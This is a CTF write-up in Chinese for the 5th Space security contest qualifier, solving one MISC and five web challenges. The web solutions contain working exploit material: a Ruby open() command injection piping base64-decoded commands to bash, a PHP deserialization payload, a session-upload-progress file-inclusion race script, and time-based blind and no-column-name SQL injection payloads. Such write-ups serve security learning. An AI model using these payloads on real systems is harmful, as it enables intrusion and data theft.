第三届第五空间网络安全大赛-选拔赛-部分Writeup
文章目录
- MISC
- 签到
- WEB
- WebFTP
- PNG图片转换器
- pklovecloud
- EasyCleanup
- yet_another_mysql_injection
MISC
签到
flag{welcometo5space}
WEB
WebFTP
目录扫描发现git泄露
使用GitHack尝试还原代码
发现无法还原源代码，但是发现了几个可以正常访问的文件，其中最为有用的就是这个探针：/Readme/mytz.php
无法还原源码，但是在访问/.git/config时发现了源码在github上的项目
下载，搜索引擎没找到什么可利用的洞。查看探针，尝试看看先出一个phpinfo看看一些基本信息
发现了查看phpinfo的方法
查看phpinfo时，尝试找了下有没有将flag写进环境变量的情况时发现flag
PNG图片转换器
ruby的源代码
require 'sinatra'
require 'digest'
require 'base64'get '/' doopen("./view/index.html", 'r').read()
endget '/upload' doopen("./view/upload.html", 'r').read()
endpost '/upload' dounless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'return ""endbeginfilename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'open(filename, 'wb') { |f|f.write open(params[:file][:tempfile],'r').read()}"Upload success, file stored at #{filename}"rescue'something wrong'endendget '/convert' doopen("./view/convert.html", 'r').read()
endpost '/convert' dobeginunless params['file']return ""endfile = params['file']unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/return ""endres = open(file, 'r').read()headers 'Content-Type' => "text/html; charset=utf-8""var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"rescue'something wrong'end
end
漏洞利用的关键点是这一行
res = open(file, 'r').read()
参考：https://vulhub.org/#/environments/ruby/CVE-2017-17405/
这里使用了open()函数来打开可控制file参数传入的文件名。而ruby中的open()函数是借用系统命令来打开文件，且没用过滤 shell 字符，导致在用户控制文件名的情况下，将可以注入任意命令。
源码中会将open()执行过后的结果base64编码后返回，加上file参数处有些过滤和必须以.png结尾的限制；即可构造
file=|whoami > test.png
如果返回something wrong，可以尝试多执行几次。
接下来绕过..、/即可，直接利用base64编码绕过
file=|echo "bHMgLWxoYSAv"|base64 -d|bash > test.png
读取/FLA9_zAIBhoJmWSX9RUcnPDrL
file=|echo "Y2F0IC9GTEE5X3pBSUJob0ptV1NYOVJVY25QRHJM"|base64 -d|bash > test.png
pklovecloud
<?php
include 'flag.php';
class pkshow
{ function echo_name() { return "Pk very safe^.^"; }
} class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this->cinder = new pkshow;} function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); }
} class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } }}
} if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}
else
{ highlight_file(__file__);
}
?>
简单的反序列化，需要注意下的就是两个对象相互嵌套时注意区分，不要陷入死循环
class acp
{ protected $cinder; public $neutron;public $nova;function __construct($i) { if($i == 1){$this->cinder = new ace();}else{return $i;}} } class ace
{ public $filename = '/flag.php'; public $openstack;public $docker; function __construct(){$this->docker = serialize(new acp(0));}
} $res = new acp(1);
echo urlencode(serialize($res));?>
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A61%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
EasyCleanup
<?phpif(!isset($_GET['mode'])){highlight_file(__file__);
}else if($_GET['mode'] == "eval"){$shell = $_GET['shell'] ?? 'phpinfo();';if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");eval($shell);
}if(isset($_GET['file'])){if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");include $_GET['file'];
}function filter($var): bool{$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];foreach($banned as $ban){if(strstr($var, $ban)) return True;}return False;
}function checkNums($var): bool{$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';$cnt = 0;for($i = 0; $i < strlen($alphanum); $i++){for($j = 0; $j < strlen($var); $j++){if($var[$j] == $alphanum[$i]){$cnt += 1;if($cnt > 8) return True;}}}return False;
}?>
合并运算符(??)
$shell = $_GET['shell'] ?? 'phpinfo();'
如果有设置?shell，则?shell的值为其设置的值；若没有设置，则?shell=phpinfo();
审计源码，很明显这里直接命令执行应该是无法执行的：
- 总长度不能大于等于15
- 数字和字母的字符次数不能大于等于8次
加上一些filter()的过滤，这里基本无法实现?shell的命令执行
关键在include $_GET['file'];，有文件包含，虽然有filter()和长度的限制，但是没有最恶心的CheckNums()；加上给了我们一个phpinfo。查看一下session.upload_progress，默认都是开启的。并且这里记录上传进度的session文件都没有开启自动清除(session.upload_progress.cleanup==Off)，条件竞争都不用做了。
没有给出session.save_path，那sesion应该就是默认保存位置：/tmp/sess_xxx
直接利用以前做session upload progress的脚本即可，稍微改一下就能直接打
# -*- coding: utf-8 -*-
import io
import requests
import threadingmyurl = 'http://114.115.134.72:32770/index.php'
sessid = '7'
myfile = io.BytesIO(b'mochu7' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": ""}
mycookie = {'PHPSESSID': sessid}def writeshell(session):while True:resp = requests.post(url=myurl, data=writedata, files={'file': ('mochu7.txt', myfile)}, cookies=mycookie)def getshell(session):while True:payload_url = myurl + '?file=' + '/tmp/sess_' +sessidresp = requests.get(url=payload_url)if 'upload_progress' in resp.text:print(resp.text)breakelse:passif __name__ == '__main__':session = requests.session()writeshell = threading.Thread(target=writeshell, args=(session,))writeshell.daemon = Truewriteshell.start()getshell(session)
如果一个sess_id打了好几次没有刷新，建议换个sess_id打
yet_another_mysql_injection
查看源码发现提示
include_once("lib.php");
function alertMes($mes,$url){die("");
}function checkSql($s) {if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {$username=$_POST['username'];$password=$_POST['password'];if ($username !== 'admin') {alertMes('only admin can login', 'index.php');}checkSql($password);$sql="SELECT password FROM users WHERE username='admin' and password='$password';";$user_result=mysqli_query($con,$sql);$row = mysqli_fetch_array($user_result);if (!$row) {alertMes("something wrong",'index.php');}if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');}
}if(isset($_GET['source'])){show_source(__FILE__);die;
}
?>
password处可以进行延迟注入的，
import requestsburp0_url = "http://114.115.143.25:32770/index.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding": "gzip, deflate","Content-Type": "application/x-www-form-urlencoded",}
all_print_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"query_str = ''
for length in range(1, 20):for char in all_print_str:payload = "mochu7'or/**/if(ascii(mid(database(),{0},1))/**/like/**/{1},benchmark(20000000,md5('mochu7')),1)#".format(length, ord(char))burp0_data = {"username": "admin", "password": payload}resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)# print('{} : {} : {}'.format(length, char, resp.elapsed.total_seconds()))if resp.elapsed.total_seconds() > 3:query_str += charprint(query_str)else:continue
数据库是ctf。但是查password字段的时候发现无法查询出数据。这张表应该是张空表。
那么只能想办法构造出$row['password'] === $password
参考Nu1L战队的Writeup的思路：https://wx.zsxq.com/dweb2/index/group/824215518412
performance_schema.threads表中的PROCESSLIST_INFO会记录线程正在执行的完整语句
https://dev.mysql.com/doc/refman/5.7/en/performance-schema-threads-table.html
但是in被过滤，所以这里需要用无列名注入，PROCESSLIST_INFO是performance_schema.threads表中的第11个字段。
当我们插入这条payload之后，整条的查询语句
SELECT password FROM users WHERE username='admin' and password='1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/name/**/like'%connection%'/**/limit/**/1,1)t#
查询语句中的内联注释符/**/，是被记录成空格的。
SELECT password FROM users WHERE username='admin' and password='1'union select mid(`11`,65,217) from(select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 union select * from performance_schema.threads where name like'%connection%' limit 1,1)t#
可以看到，最后截断PROCESSLIST_INFO记录的语句得到查询结果和我们输入的password的参数是一样的。
构造出$row['password'] === $password，即可得到flag
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